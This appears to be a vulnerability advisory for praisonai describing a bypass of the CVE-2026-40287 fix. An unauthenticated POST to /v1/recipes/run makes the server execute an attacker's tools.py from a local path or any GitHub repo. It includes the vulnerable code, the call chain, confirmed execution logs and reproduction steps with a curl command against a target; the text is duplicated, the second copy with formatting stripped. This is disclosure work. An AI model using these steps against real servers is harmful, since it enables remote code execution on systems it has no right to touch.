TL;DR
CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.
Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File |
Line |
Gate |
praisonai/tool_resolver.py |
77 |
if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": |
praisonai/api/call.py |
80 |
same |
But the equivalent sinks in praisonai/templates/tool_override.py were not patched:
# tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module
336 registry.update(tools)
337 except Exception:
338 pass
339
341 # 4. Template-local tools.py
342 if template_dir:
343 tools_py = Path(template_dir) / "tools.py"
344 if tools_py.exists():
345 try:
346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module
347 registry.update(tools)
348 except Exception:
349 pass
load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.
Attack chain
HTTP POST /v1/recipes/run
body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE
The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.
Confirmed execution (2026-04-25, praisonai 4.6.31)
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploit
The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.
Reproduction (local-path variant)
Files under pocs/praisonai-cve-2026-40287-bypass/:
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.py
Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
Reproduction (remote GitHub variant)
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.
TL;DR
CVE-2026-40287's fix gated
tools.pyauto-import behindPRAISONAI_ALLOW_LOCAL_TOOLS=truein two files (tool_resolver.py,api/call.py). A third import sink inpraisonai/templates/tool_override.pywas missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable throughPOST /v1/recipes/runwith arecipevalue pointing at any local absolute path or any GitHub repo (becauseSecurityConfig.allow_any_githubdefaults toTrue). The attacker drops atools.pynext toTEMPLATE.yaml; the serverexec_module()s it. No auth required by default, no environment opt-in required.Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
praisonai/tool_resolver.pyif os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":praisonai/api/call.pyBut the equivalent sinks in
praisonai/templates/tool_override.pywere not patched:load_from_file(line 84-94) ends inspec.loader.exec_module(module)with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.Attack chain
The tool registry build runs before any LLM/agent step, so
OPENAI_API_KEYand similar are not required. A recipe with an emptyworkflow.steps: []is sufficient - the payload fires during registry construction.Confirmed execution (2026-04-25, praisonai 4.6.31)
The 500 response is a downstream side-effect of
workflow.steps: []failing to construct a runnable workflow; theexec_module(tools.py)call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.Reproduction (local-path variant)
Files under
pocs/praisonai-cve-2026-40287-bypass/:praisonai.recipe.serve.create_app({})on127.0.0.1:8765(defaultauth: none)/v1/recipes/runExpected: server stdout shows
[CVE-2026-40287-bypass] RCE fired.; apraisonai_pwn_<timestamp>.txtfile appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.Reproduction (remote GitHub variant)
No filesystem prerequisite on the target. Triggers because
SecurityConfig.allow_any_github(templates/security.py:30) defaults toTrue.